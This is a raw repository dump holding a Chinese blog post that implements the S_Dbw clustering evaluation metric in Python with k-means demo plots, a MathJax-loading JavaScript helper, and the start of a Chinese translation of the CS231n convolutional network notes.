็›ธๅฝ“ไบŽๆ˜ฏ็ป™ๆฏไธช่š็ฑป็ฑปๅˆซๅฎšไน‰ไบ†ไธ€ไธชโ€œๅ•ไฝๅœ†โ€œไฝœไธบๆ ‡ๅ‡†ใ€‚$f$ ๅ‡ฝๆ•ฐๆ‰€ๅš็š„ไบ‹ๆƒ…ๅฐฑๆ˜ฏๆ•ฐๆ•ฐๅ•Š๏ผŒๅ‡ๅฆ‚่€ƒ่™‘็š„ๆ˜ฏๆŸๅ•็ฑป $i$ ้‡Œ็š„ $density(\\nu_i)$๏ผŒ้‚ฃๅฐฑๅŽปๆ•ฐ็ฉถ็ซŸๆœ‰ๅคšๅฐ‘ไธชๆ ทๆœฌๅฏไปฅ่ฝๅˆฐ่ฏฅ่š็ฑป็ฑปๅˆซไธญๅฟƒ็‚นๅค– $\\nu_i$ ็š„่ฟ™ไธชๆ ‡ๅ‡†่Œƒๅ›ด `stdev` ๅ†…ใ€‚ๅฆ‚ๆžœ่ฏดๆ˜ฏๅƒไธŠ้ขๆŸไธคไธช็ฑป $(i,j)$ ็š„ $density(u_{ij})$ ็š„ๆƒ…ๅ†ต่ฏ๏ผŒไนŸ็ฎ€ๅ•๏ผŒๆŠŠ่ฟ™ไธคไธช็ฑปไธญ็š„ไธญๅฟƒ็‚นๅฝ“ๅšๆ–ฐ็š„ไธญๅฟƒ๏ผŒๅ†็œ‹ๅฎƒ้™„่ฟ‘โ€ๅ•ไฝๅœ†โ€œ้‡Œๆœ‰ๅคšๅฐ‘ไธชๆ ทๆœฌใ€‚\n\nๅ€ผๅพ—ๆณจๆ„็š„ๆ˜ฏ๏ผŒๆˆ‘ๅˆšๅˆš็”จไบ†โ€ๅœ†โ€œ่ฟ™ไธช่ฏ๏ผŒๅ…ถๅฎžไนŸๅฐฑๆ˜ฏๆš—็คบไบ†ๆฏไธชๆ ทๆœฌ็š„็ปดๅบฆๆ˜ฏ comparable ็š„ใ€‚ไนŸๅฐฑๆ˜ฏ่ฏดๆ•ฐๆฎ่‡ณๅฐ‘่ฆๅš่ฟ‡ๆ ‡ๅ‡†ๅŒ–ๆ‰่กŒๅ“ฆ~ ๆœ€ๅฅฝไนŸๆ˜ฏๆญฃๆ€ๅŒ–ๅฅฝ็š„ใ€‚\n\nไธ‹้ขๅฐฑๆ˜ฏ่ฟ™ไธช `density(density_list=[])` ๅ‡ฝๆ•ฐ็š„ๅฎšไน‰ไบ†๏ผš\n\n```python\n def density(self,density_list=[]):\n \"\"\"\n compute the density of one or two cluster(depend on density_list)\n ๅ˜้‡ density_list ๅฐ†ไฝœไธบๆญคๅ‡ฝๆ•ฐ็š„ๅ†…้ƒจๅˆ—่กจ๏ผŒๅ…ถๅ–ๅ€ผ่Œƒๅ›ดๆ˜ฏ0,1,2,... ๏ผŒๅ…ƒ็ด ไธชๆ•ฐๆ˜ฏ่š็ฑป็ฑปๅˆซๆ•ฐ็›ฎ\n \"\"\"\n density = 0\n if len(density_list) == 2: # ๅฝ“่€ƒ่™‘ไธคไธช่š็ฑป็ฑปๅˆซๆ—ถๅ€™๏ผŒ็ป™ๅ‡บไธญๅฟƒ็‚นไฝ็ฝฎ\n center_v = (self.cluster_centroids_[density_list[0]] +self.cluster_centroids_[density_list[1]])/2\n else: # ๅฝ“ๅช่€ƒ่™‘ๆŸไธ€ไธช่š็ฑป็ฑปๅˆซ็š„ๆ—ถๅ€™๏ผŒ็ป™ๅ‡บไธญๅฟƒ็‚นไฝ็ฝฎ\n center_v = self.cluster_centroids_[density_list[0]]\n for i in density_list:\n temp = self.data[self.data_cluster == i]\n for j in temp: # np.linalg.norm ๆ˜ฏๆฑ‚่Œƒๆ•ฐ(order=2)\n if np.linalg.norm(j - center_v) <= self.stdev:\n density += 1\n return density\n```\n\nๅฎšไน‰ๅฎŒ `density()` ๏ผŒๆˆ‘ไปฌๅฐฑ็ปˆไบŽๅฏไปฅ็ป™ๅ‡บ Inter-cluster Density๏ผˆID๏ผ‰๏ผŒๅณ่ฆๅฎšไน‰็š„ `Dens_bw` ๅ‡ฝๆ•ฐ๏ผš\n$$\n\\text{Dens_bw}(c) = \\frac{1}{c\\cdot(c-1)}\\sum^c_{i=1}\\left(\\sum^c_{j=1,j\\neq i} \\frac{density(u_{ij})}{\\max\\{density(\\nu_i),density(\\nu_j)\\}}\\right)\n$$\n่ฟ™ไธชๆ—ถๅ€™๏ผŒไธŠ้ข็š„ๅ…ฌๅผๅฐฑๅฅฝ่ฏปๅคšไบ†ใ€‚\n\nๅคงๆ‹ฌๅท้‡Œๆœ‰ๅพˆๅคš้กนๆ˜ฏๅŠ ่ตทๆฅ็š„๏ผŒๆฏไธ€้กนๅฏนๅบ”ไบŽๅœจๆ‰€ๆœ‰่š็ฑป็ฑปๅˆซไธญ๏ผŒไธคไธคๅŒน้…ไธ”ๆœ‰ๅบไธ้‡ๅค็š„ๅŽป็ฉทไธพ๏ผˆๆ‰€่ฐ“โ€œๆŽ’ๅˆ—โ€่ง„ๅˆ™๏ผŒๅฆ‚6ไธช้‡Œ้ขๅ–2ไธชๅฐฑๆœ‰ $6^2$ ็งๅ–ๆณ•๏ผ‰ใ€‚ๅ…ถไธญๅˆ†ๅญๆ˜ฏไธคไธช่š็ฑป็ฑปๅˆซๅˆๅœจไธ€่ตท็š„ๅฏ†ๅบฆ๏ผŒๅ†้™คไปฅ่ฏฅไธคไธช่š็ฑป็ฑปๅˆซ้‡Œๅฏ†ๅบฆ็›ธๅฏนๆœ€ๅคง็š„้‚ฃไธชใ€‚ๅฏ่ง๏ผŒๅฆ‚ๆžœไธคไธช่š็ฑปไธญๅฟƒๅˆ†ๅพ—ๅพˆๅผ€๏ผŒๅŒๆ—ถๆฏไธช็ฑป่ฟ˜ๅ„่‡ชๅฏ†ๅบฆๅพˆ้ซ˜ๅพˆ็ดงๅ‡‘๏ผŒ้‚ฃไนˆๅˆ†ๅญๅฐฑ่ถŠๅฐ๏ผˆไธคไธช็ฑปไธญๅฟƒ็š„ไธญ็‚นๅค„ๅฏ†ๅบฆ็”š่‡ณๅฏ่ƒฝไธบ0๏ผ‰๏ผŒๅˆ†ๆฏๅฐฑ่ถŠๅคง๏ผˆๆ˜พ็„ถๆฏ็ฑป่ถŠ็ดงๅ‡‘๏ผŒๅฏ†ๅบฆ่ถŠๅคงๅ˜›๏ผ‰ใ€‚ๆ‰€ไปฅ๏ผŒ็”ฑๆญคๅฏ่งไธ€ๆ–‘๏ผŒ่ฟ™ไธช่ฏ„ไผฐๆŒ‡ๆ ‡ๆ˜ฏ่ถŠๅฐ่ถŠๅฅฝๅ•Š๏ผ\n\nไธ‹้ข็š„ไปฃ็ ๅฏนๅบ”็š„ๅฐฑๆ˜ฏไธŠ้ขๅ…ฌๅผ `Dens_bw`๏ผš\n\n```python\n def Dens_bw(self):\n density_list = []\n result = 0\n # ไธ‹้ข็š„ๅ˜้‡ density_list ๅˆ—่กจๅฐ†ไผš็ฎ—ๅ‡บๆฏไธชๅฏนๅบ”ๅ•็ฑป็š„ๅฏ†ๅบฆๅ€ผใ€‚\n for i in range(self.k):\n density_list.append(self.density(density_list=[i])) # i ๆ˜ฏๅพช็Žฏ็ฑปๅˆซๆ ‡็ญพ\n # ๅผ€ๅง‹ๅพช็ŽฏๆŽ’ๅˆ—\n for i in range(self.k):\n for j in range(self.k):\n if i==j:\n continue\n result += self.density([i,j])/max(density_list[i],density_list[j])\n return result/(self.k*(self.k-1))\n```\n\nๆˆ‘ไปฌๆŠŠ `Dens_bw` ๅฎšไน‰ๅฅฝๅŽ๏ผŒไปปๅŠกๅช่ƒฝ่ฏดๆ˜ฏๅˆš่ฟ‡ๅŠใ€‚ๆŽฅไธ‹ๆฅ่ฆๆŠŠๅฆไธ€ๅŠๅฎšไน‰ๆธ…ๆฅš๏ผŒๅณ*Intra-cluster variance* ๏ผŒๆ‰€่ฐ“ๅฏน average scattering ็š„่กก้‡๏ผŒๅฎšไน‰ไธบ `Scat()` ๅ‡ฝๆ•ฐ๏ผš\n$$\n\\text{Scat}(c) = \\frac{1}{c}\\sum^c_{i=1}\\frac{||\\sigma(\\nu_i)||}{||\\sigma(S)||}\n$$\nไธŠๅผไธญ๏ผŒ$||\\sigma(S)||$ ่กจ็คบ็š„ๆ˜ฏๆ•ดไธชๆ ทๆœฌๆ•ฐๆฎ $S$ ็š„ๆ–นๅทฎ๏ผŒ้‚ฃไนˆ $||\\sigma(\\nu_i)||$ ่กจ็คบ็š„ๅฐฑๆ˜ฏ็ฌฌ $i$ ็ฑปๆ ทๆœฌๆ•ฐๆฎ็š„ๆ–นๅทฎใ€‚ไธ€ไธชๆ•ฐๅˆ—็š„ๆ–นๅทฎๆˆ‘ไปฌๅพˆๆธ…ๆฅš๏ผŒไฟบไนˆ่ฏ่ฏดไธ€ไธชไบŒ็ปดๆ•ฐๅˆ—็š„ๆ–นๅทฎๆ˜ฏไป€ไนˆ้ฌผๅ‘ข๏ผŸๅŽŸ่ฎบๆ–‡็ป™ๅ‡บไบ†่ฏฆ็ป†็š„่งฃ้‡Š๏ผšไธ็ฎกๆ˜ฏๆ•ดไธชๆ ทๆœฌๆ•ฐๆฎ้›† $S$ ่ฟ˜ๆ˜ฏๅ…ถไธญ็š„ๆŸไธ€็ฑปๆ ทๆœฌๆ•ฐๆฎ้›†ๅˆ $\\nu_i$ใ€‚ๆ‰€่ฐ“ๆ–นๅทฎ๏ผŒๆ˜ฏๅฏนๆ•ฐๆฎ้›†ๅˆ็š„ๆฏไธ€ๅˆ—๏ผˆๆฏไธ€ไธช็‰นๅพ๏ผ‰ๆฑ‚ๆ–นๅทฎ๏ผŒๅพ—ๅˆฐไธ€ไธช็ปดๆ•ฐไธบ็‰นๅพๆ•ฐ็›ฎ็š„ๅ‘้‡ $\\mathbf{x}$๏ผŒ็„ถๅŽๅฐฑๆ˜ฏๅฆ‚ไธŠๆณ•็‚ฎๅˆถๅŽป็ฎ—่ฏฅ็Ÿข้‡็š„ๆฌงๅผ่ท็ฆป $||\\mathbf{x}||$ ๅณๅฏใ€‚\n\n```python\n def Scat(self):\n # ๅˆ†ๆฏ้ƒจๅˆ†๏ผš\n sigma_s = np.std(self.data,axis=0)\n sigma_s_2norm = np.sqrt(np.dot(sigma_s.T,sigma_s))\n\n # ๅˆ†ๅญ้ƒจๅˆ†๏ผš\n sum_sigma_2norm = 0\n for i in range(self.k):\n matrix_data_i = self.data[self.data_cluster == i]\n sigma_i = np.std(matrix_data_i,axis=0)\n sum_sigma_2norm += np.sqrt(np.dot(sigma_i.T,sigma_i))\n return sum_sigma_2norm/(sigma_s_2norm*self.k)\n```\n\nไปŽไธŠ้ข็š„ๅ…ฌๅผไนŸๅฏไปฅๆ™“ๅพ—๏ผŒๅฆ‚ๆžœๆ‰€ๆœ‰็š„่š็ฑป็ฑป็›ฎๅœจ้ซ˜็ปด็‰นๅพ็ฉบ้—ดไธŠๆ•ฃๅธƒ็š„ๅพˆๅผ€๏ผˆๅณ $||\\sigma(S)||$ ๆŒบๅคง็š„๏ผ‰๏ผŒๅŒๆ—ถๆฏไธช่š็ฑป็ฑปๅˆซๅ„่‡ชๅœจ็ฉบ้—ดไธญๆ•ฃๅธƒ็š„ๅพˆ็ดงๅ‡‘๏ผˆ$||\\sigma(\\nu_i)||$้ƒฝๆŒบๅฐ๏ผ‰๏ผŒ้‚ฃไธๅฐฑ่ฏดๆ˜Ž่š็ฑปๆ•ˆๆžœ่ฟ˜ไธ้”™๏ผŒ่พ“ๅ‡บ `Scat()` ไนŸๅฐฑๅฏนๅบ”ไบŽไธ€ไธช่พƒๅฐ็š„่ฏ„ไผฐๅ€ผใ€‚\n\n\n\n็ปผไธŠๅ‘ข๏ผŒๆˆ‘ไปฌ็š„ `S_Dbw` ่š็ฑป่ฏ„ไผฐๆŒ‡ๆ ‡ๅฐฑๆ˜ฏๆŠŠ `Dens_bw()` ๅ’Œ `Scat()` ็š„็ป“ๆžœๅŠ ่ตทๆฅ๏ผŒๅณๅฏไธ‡ไบ‹ๅคงๅ‰๏ผš\n\n```python\n def S_Dbw_result(self):\n \"\"\"\n compute the final result\n \"\"\"\n return self.Dens_bw()+self.Scat()\n```\n\nๆฅไธชๆ —ๅญ๏ผŒ็žงไธ€็žง๏ผ\n\n\n\n- ๅ›บๅฎšไฝๆจกๆ‹Ÿๆ•ฐๆฎ็š„ไธญๅฟƒ็‚น๏ผŒๅ˜ๅŒ–ๆ•ฃๅธƒ็จ‹ๅบฆ๏ผš\n\n\n![](https://i.loli.net/2018/04/10/5accba84c4288.png)\n\n\n\n- ๅ˜ๅŒ–ๆจกๆ‹Ÿๆ•ฐๆฎ็š„ไธญๅฟƒ็‚น๏ผŒๅ›บๅฎšๆฏ็ฑป็š„ๆ•ฃๅธƒ็จ‹ๅบฆ๏ผš\n\n![](https://i.loli.net/2018/04/10/5accba9fb87b5.png)\n\n\n\nไธŠ้ขไธคไธชๅ›พ็š„ไปฃ็ ๅฆ‚ไธ‹๏ผš\n\n```python\nimport numpy as np\nimport S_Dbw as sdbw\nfrom sklearn.cluster import KMeans\nfrom sklearn.datasets.samples_generator import make_blobs\nfrom sklearn.metrics.pairwise import pairwise_distances_argmin\n\nnp.random.seed(0)\n\nS_Dbw_result = []\nbatch_size = 45\ncenters = [[1, 1], [-1, -1], [1, -1]]\ncluster_std=[0.7,0.3,1.2]\nn_clusters = len(centers)\nX1, _ = make_blobs(n_samples=3000, centers=centers, cluster_std=cluster_std[0])\nX2, _ = make_blobs(n_samples=3000, centers=centers, cluster_std=cluster_std[1])\nX3, _ = make_blobs(n_samples=3000, centers=centers, cluster_std=cluster_std[2])\n\nimport matplotlib.pyplot as plt\nfig = plt.figure(figsize=(9, 3))\nfig.subplots_adjust(left=0.02, right=0.98, bottom=0.08, top=0.9)\ncolors = ['#4EACC5', '#FF9C34', '#4E9A06']\n\nfor item, X in enumerate(list([X1, X2, X3])):\n k_means = KMeans(init='k-means++', n_clusters=3, n_init=10)\n k_means.fit(X)\n\n k_means_cluster_centers = k_means.cluster_centers_\n k_means_labels = pairwise_distances_argmin(X, k_means_cluster_centers)\n\n KS = sdbw.S_Dbw(X, k_means_labels, k_means_cluster_centers)\n S_Dbw_result.append(KS.S_Dbw_result())\n \n ax = fig.add_subplot(1,3,item+1)\n for k, col in zip(range(n_clusters), colors):\n my_members = k_means_labels == k\n cluster_center = k_means_cluster_centers[k]\n ax.plot(X[my_members, 0], X[my_members, 1], 'w',\n markerfacecolor=col, marker='.')\n ax.plot(cluster_center[0], cluster_center[1], 'o', markerfacecolor=col,\n markeredgecolor='k', markersize=6)\n ax.set_title('S_Dbw: %.3f' %(S_Dbw_result[item]))\n ax.set_ylim((-4,4))\n ax.set_xlim((-4,4))\n plt.text(-3.5, 1.8, 'cluster_std: %f' %(cluster_std[item]))\nplt.savefig('./pic1.png', dpi=150)\n```\n\n```python\nnp.random.seed(0)\n\nS_Dbw_result = []\nbatch_size = 45\ncenters = [[[1, 1], [-1, -1], [1, -1]],\n [[0.8, 0.8], [-0.8, -0.8], [0.8, -0.8]],\n [[1.2, 1.2], [-1.2, -1.2], [1.2, -1.2]]]\nn_clusters = len(centers)\nX1, _ = make_blobs(n_samples=3000, centers=centers[0], cluster_std=0.7)\nX2, _ = make_blobs(n_samples=3000, centers=centers[1], cluster_std=0.7)\nX3, _ = make_blobs(n_samples=3000, centers=centers[2], cluster_std=0.7)\n\nimport matplotlib.pyplot as plt\nfig = plt.figure(figsize=(8, 3))\nfig.subplots_adjust(left=0.02, right=0.98, bottom=0.2, top=0.9)\ncolors = ['#4EACC5', '#FF9C34', '#4E9A06']\n\nfor item, X in enumerate(list([X1, X2, X3])):\n k_means = KMeans(init='k-means++', n_clusters=3, n_init=10)\n k_means.fit(X)\n\n k_means_cluster_centers = k_means.cluster_centers_\n k_means_labels = pairwise_distances_argmin(X, k_means_cluster_centers)\n\n KS = sdbw.S_Dbw(X, k_means_labels, k_means_cluster_centers)\n S_Dbw_result.append(KS.S_Dbw_result())\n \n ax = fig.add_subplot(1,3,item+1)\n for k, col in zip(range(n_clusters), colors):\n my_members = k_means_labels == k\n cluster_center = k_means_cluster_centers[k]\n ax.plot(X[my_members, 0], X[my_members, 1], 'w',\n markerfacecolor=col, marker='.')\n ax.plot(cluster_center[0], cluster_center[1], 'o', markerfacecolor=col,\n markeredgecolor='k', markersize=6)\n ax.set_title('S_Dbw: %.3f ' %(S_Dbw_result[item]))\n# ax.set_xticks(())\n# ax.set_yticks(())\n ax.set_ylim((-4,4))\n ax.set_xlim((-4,4))\n ax.set_xlabel('centers: \\n%s' %(centers[item]))\nplt.savefig('./pic2.png', dpi=150)\n```\n\n\n\n[^1]: [Understanding of Internal Clustering Validation Measures](http://datamining.rutgers.edu/publication/internalmeasures.pdf)\n[^2]: [Add more unsupervised clustering metrics #6654](https://github.com/scikit-learn/scikit-learn/issues/6654)\n[^3]: [NbClust: An R Package for Determining the Relevant Number of Clusters in a Data Set](https://www.jstatsoft.org/article/view/v061i06/v61i06.pdf)\n\n\n\n\n\n\n\n------\n\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>" }, { "alpha_fraction": 0.48053786158561707, "alphanum_fraction": 0.4897381365299225, "avg_line_length": 46.13333511352539, "blob_id": "03b17aea7882af54e3f7db8e6cc1bf774866eb87", "content_id": "453c644573e0d108de3fb2d3f0dabd39074d37ca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1413, "license_type": "no_license", "max_line_length": 90, "num_lines": 30, "path": "/static/js/check-for-tex.js", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "(function () {\n var body = document.body.textContent;\n if (body.match(/(?:\\$|\\\\\\(|\\\\\\[|\\\\begin\\{.*?})/)) {\n if (!window.MathJax) {\n window.MathJax = {\n loader: {load: ['[tex]/ams', '[tex]/require']},\n tex: {\n // http://docs.mathjax.org/en/latest/options/input/tex.html\n packages: ['base', 'ams', 'require'], // extensions to use\n inlineMath: {'[+]': [['$', '$']]}, // start/end delimiter pairs for in-line math\n displayMath: [ // start/end delimiter pairs for display math\n ['$$', '$$'],\n ['\\\\[', '\\\\]']\n ],\n tags: 'all', // 'none' or 'ams' or 'all'\n processEscapes: true, // use \\$ to produce a literal dollar sign\n processEnvironments: true, // process \\begin{xxx}...\\end{xxx} outside math mode\n processRefs: true, // process \\ref{...} outside of math mode\n digits: /^(?:[0-9]+(?:\\{,\\}[0-9]{3})*(?:\\.[0-9]*)?|\\.[0-9]+)/,\n tagSide: 'right', // side for \\tag macros\n tagIndent: '0.8em', // amount to indent tags \n useLabelIds: true, // use label name rather than tag for ids\n }\n };\n }\n var script = document.createElement('script');\n script.src = 'https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js';\n document.head.appendChild(script);\n }\n})();" }, { "alpha_fraction": 0.7077234983444214, "alphanum_fraction": 0.789293646812439, "avg_line_length": 48.496063232421875, "blob_id": "865fa38cb495a6ab6208834454c4dd8c38cec1ae", "content_id": "6ce877ecd39ac7ac7825280c9c66b0170c0ce05b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 53660, "license_type": "no_license", "max_line_length": 721, "num_lines": 508, "path": "/blog/cs231n/CS231n_ConvNet_notes.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: CS231n - ConvNet tnotes\ndate: 2018-08-25\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n# CS231n่ฏพ็จ‹่ฎฒไน‰็ฟป่ฏ‘๏ผšๅท็งฏ็ฅž็ป็ฝ‘็ปœ\n\n> **่‡ชๆณจ**๏ผšๆญคๆ–‡ๆ˜ฏๅœจ่ฝฌ่ฝฝ็š„ๅŸบ็ก€ไธŠ๏ผŒ้€š่ฟ‡็ฝ‘็ปœๆœ้›†ๅ…ถไป–็›ธๅ…ณๅญฆไน ่ต„ๆ–™๏ผŒๅ†็ป“ๅˆ่‡ชๅทฑ็†่งฃๅ‰ๆไธ‹๏ผŒๅกซๅ……ๅนถๆณจ้‡Šไบ†ๆ›ดๅคš็š„็ป†่Š‚ๅ’Œๅ†…ๅฎน๏ผŒไปฅๆญค่ฏฆๅฐฝ็š„ๆ–‡ๆœฌ่ต„ๆ–™ไปฃๆ›ฟๅ„็ง่ง†้ข‘่ฏพ็จ‹็ญ‰่ต„ๆ–™๏ผŒๆ–นไพฟ่‡ชๅทฑๅ›žๅคด็ฟปๆŸฅใ€‚\n>\n> ่ฝฌ่ฝฝ่ฏทๆณจๆ˜Žๆœฌๆ–‡ๅ‡บๅค„ๅ’Œ[ๅŽŸ่ฏ‘ๆ–‡](https://zhuanlan.zhihu.com/p/22038289?refer=intelligentunit)ๅ‡บๅค„ใ€‚\n\n> **่ฏ‘่€…ๆณจ**๏ผšๆœฌๆ–‡[ๆ™บ่ƒฝๅ•ๅ…ƒ](https://zhuanlan.zhihu.com/intelligentunit)้ฆ–ๅ‘๏ผŒ่ฏ‘่‡ชๆ–ฏๅฆ็ฆCS231n่ฏพ็จ‹็ฌ”่ฎฐ[ConvNet notes](http://cs231n.github.io/convolutional-networks/)๏ผŒ่ฏพ็จ‹ๆ•™ๅธˆ[Andrej Karpathy](http://link.zhihu.com/?target=http%3A//cs.stanford.edu/people/karpathy/)ๆŽˆๆƒ็ฟป่ฏ‘ใ€‚ๆœฌ็ฏ‡ๆ•™็จ‹็”ฑ[ๆœๅฎข](https://www.zhihu.com/people/du-ke)็ฟป่ฏ‘ๅฎŒๆˆ๏ผŒ[ๅทฉๅญๅ˜‰](https://www.zhihu.com/people/gong-zi-jia-57)ๅ’Œ[ๅ ƒๅ ƒ](https://www.zhihu.com/people/kun-kun-97-81)่ฟ›่กŒๆ กๅฏนไฟฎๆ”นใ€‚่ฏ‘ๆ–‡ๅซๅ…ฌๅผๅ’Œไปฃ็ ๏ผŒๅปบ่ฎฎPC็ซฏ้˜…่ฏปใ€‚\n\n\n\n\n\nๅ†…ๅฎนๅˆ—่กจ๏ผš\n\n- **็ป“ๆž„ๆฆ‚่ฟฐ**\n\n- **็”จๆฅๆž„ๅปบๅท็งฏ็ฅž็ป็ฝ‘็ปœ็š„ๅ„็งๅฑ‚**\n\n - ๅท็งฏๅฑ‚\n\n - ๆฑ‡่šๅฑ‚\n - ๅฝ’ไธ€ๅŒ–ๅฑ‚\n - ๅ…จ่ฟžๆŽฅๅฑ‚\n - ๅฐ†ๅ…จ่ฟžๆŽฅๅฑ‚่ฝฌๅŒ–ๆˆๅท็งฏๅฑ‚\n\n\n\n- **ๅท็งฏ็ฅž็ป็ฝ‘็ปœ็š„็ป“ๆž„**\n\n - ๅฑ‚็š„ๆŽ’ๅˆ—่ง„ๅพ‹\n\n - ๅฑ‚็š„ๅฐบๅฏธ่ฎพ็ฝฎ่ง„ๅพ‹\n - ๆกˆไพ‹ๅญฆไน ๏ผˆLeNet / AlexNet / ZFNet / GoogLeNet / VGGNet๏ผ‰\n - ่ฎก็ฎ—ไธŠ็š„่€ƒ้‡\n\n\n\n- **ๆ‹“ๅฑ•่ต„ๆบ**\n\n\n\n## **ๅท็งฏ็ฅž็ป็ฝ‘็ปœ๏ผˆCNNs / ConvNets๏ผ‰**\n\nๅท็งฏ็ฅž็ป็ฝ‘็ปœๅ’ŒไธŠไธ€็ซ ่ฎฒ็š„ๅธธ่ง„็ฅž็ป็ฝ‘็ปœ้žๅธธ็›ธไผผ๏ผšๅฎƒไปฌ้ƒฝๆ˜ฏ็”ฑ็ฅž็ปๅ…ƒ็ป„ๆˆ๏ผŒ็ฅž็ปๅ…ƒไธญๆœ‰ๅ…ทๆœ‰ๅญฆไน ่ƒฝๅŠ›็š„ๆƒ้‡ๅ’Œๅๅทฎใ€‚ๆฏไธช็ฅž็ปๅ…ƒ้ƒฝๅพ—ๅˆฐไธ€ไบ›่พ“ๅ…ฅๆ•ฐๆฎ๏ผŒ่ฟ›่กŒๅ†…็งฏ่ฟ็ฎ—ๅŽๅ†่ฟ›่กŒๆฟ€ๆดปๅ‡ฝๆ•ฐ่ฟ็ฎ—ใ€‚ๆ•ดไธช็ฝ‘็ปœไพๆ—งๆ˜ฏไธ€ไธชๅฏๅฏผ็š„่ฏ„ๅˆ†ๅ‡ฝๆ•ฐ๏ผš่ฏฅๅ‡ฝๆ•ฐ็š„่พ“ๅ…ฅๆ˜ฏๅŽŸๅง‹็š„ๅ›พๅƒๅƒ็ด ๏ผŒ่พ“ๅ‡บๆ˜ฏไธๅŒ็ฑปๅˆซ็š„่ฏ„ๅˆ†ใ€‚ๅœจๆœ€ๅŽไธ€ๅฑ‚๏ผˆๅพ€ๅพ€ๆ˜ฏๅ…จ่ฟžๆŽฅๅฑ‚๏ผ‰๏ผŒ็ฝ‘็ปœไพๆ—งๆœ‰ไธ€ไธชๆŸๅคฑๅ‡ฝๆ•ฐ๏ผˆๆฏ”ๅฆ‚SVMๆˆ–Softmax๏ผ‰๏ผŒๅนถไธ”ๅœจ็ฅž็ป็ฝ‘็ปœไธญๆˆ‘ไปฌๅฎž็Žฐ็š„ๅ„็งๆŠ€ๅทงๅ’Œ่ฆ็‚นไพๆ—ง้€‚็”จไบŽๅท็งฏ็ฅž็ป็ฝ‘็ปœใ€‚\n\n้‚ฃไนˆๆœ‰ๅ“ชไบ›ๅœฐๆ–นๅ˜ๅŒ–ไบ†ๅ‘ข๏ผŸๅท็งฏ็ฅž็ป็ฝ‘็ปœ็š„็ป“ๆž„ๅŸบไบŽไธ€ไธชๅ‡่ฎพ๏ผŒๅณ่พ“ๅ…ฅๆ•ฐๆฎๆ˜ฏๅ›พๅƒ๏ผŒๅŸบไบŽ่ฏฅๅ‡่ฎพ๏ผŒๆˆ‘ไปฌๅฐฑๅ‘็ป“ๆž„ไธญๆทปๅŠ ไบ†ไธ€ไบ›็‰นๆœ‰็š„ๆ€ง่ดจใ€‚่ฟ™ไบ›็‰นๆœ‰ๅฑžๆ€งไฝฟๅพ—ๅ‰ๅ‘ไผ ๆ’ญๅ‡ฝๆ•ฐๅฎž็Žฐ่ตทๆฅๆ›ด้ซ˜ๆ•ˆ๏ผŒๅนถไธ”ๅคงๅน…ๅบฆ้™ไฝŽไบ†็ฝ‘็ปœไธญๅ‚ๆ•ฐ็š„ๆ•ฐ้‡ใ€‚\n\n\n\n## **็ป“ๆž„ๆฆ‚่ฟฐ**\n\n*ๅ›ž้กพ๏ผšๅธธ่ง„็ฅž็ป็ฝ‘็ปœ*ใ€‚ๅœจไธŠไธ€็ซ ไธญ๏ผŒ็ฅž็ป็ฝ‘็ปœ็š„่พ“ๅ…ฅๆ˜ฏไธ€ไธชๅ‘้‡๏ผŒ็„ถๅŽๅœจไธ€็ณปๅˆ—็š„*้šๅฑ‚*ไธญๅฏนๅฎƒๅšๅ˜ๆขใ€‚ๆฏไธช้šๅฑ‚้ƒฝๆ˜ฏ็”ฑ่‹ฅๅนฒ็š„็ฅž็ปๅ…ƒ็ป„ๆˆ๏ผŒๆฏไธช็ฅž็ปๅ…ƒ้ƒฝไธŽๅ‰ไธ€ๅฑ‚ไธญ็š„ๆ‰€ๆœ‰็ฅž็ปๅ…ƒ่ฟžๆŽฅใ€‚ไฝ†ๆ˜ฏๅœจไธ€ไธช้šๅฑ‚ไธญ๏ผŒ็ฅž็ปๅ…ƒ็›ธไบ’็‹ฌ็ซ‹ไธ่ฟ›่กŒไปปไฝ•่ฟžๆŽฅใ€‚ๆœ€ๅŽ็š„ๅ…จ่ฟžๆŽฅๅฑ‚่ขซ็งฐไธบโ€œ่พ“ๅ‡บๅฑ‚โ€๏ผŒๅœจๅˆ†็ฑป้—ฎ้ข˜ไธญ๏ผŒๅฎƒ่พ“ๅ‡บ็š„ๅ€ผ่ขซ็œ‹ๅšๆ˜ฏไธๅŒ็ฑปๅˆซ็š„่ฏ„ๅˆ†ๅ€ผใ€‚\n\n*ๅธธ่ง„็ฅž็ป็ฝ‘็ปœๅฏนไบŽๅคงๅฐบๅฏธๅ›พๅƒๆ•ˆๆžœไธๅฐฝไบบๆ„*ใ€‚ๅœจCIFAR-10ไธญ๏ผŒๅ›พๅƒ็š„ๅฐบๅฏธๆ˜ฏ32x32x3๏ผˆๅฎฝ้ซ˜ๅ‡ไธบ32ๅƒ็ด ๏ผŒ3ไธช้ขœ่‰ฒ้€š้“๏ผ‰๏ผŒๅ› 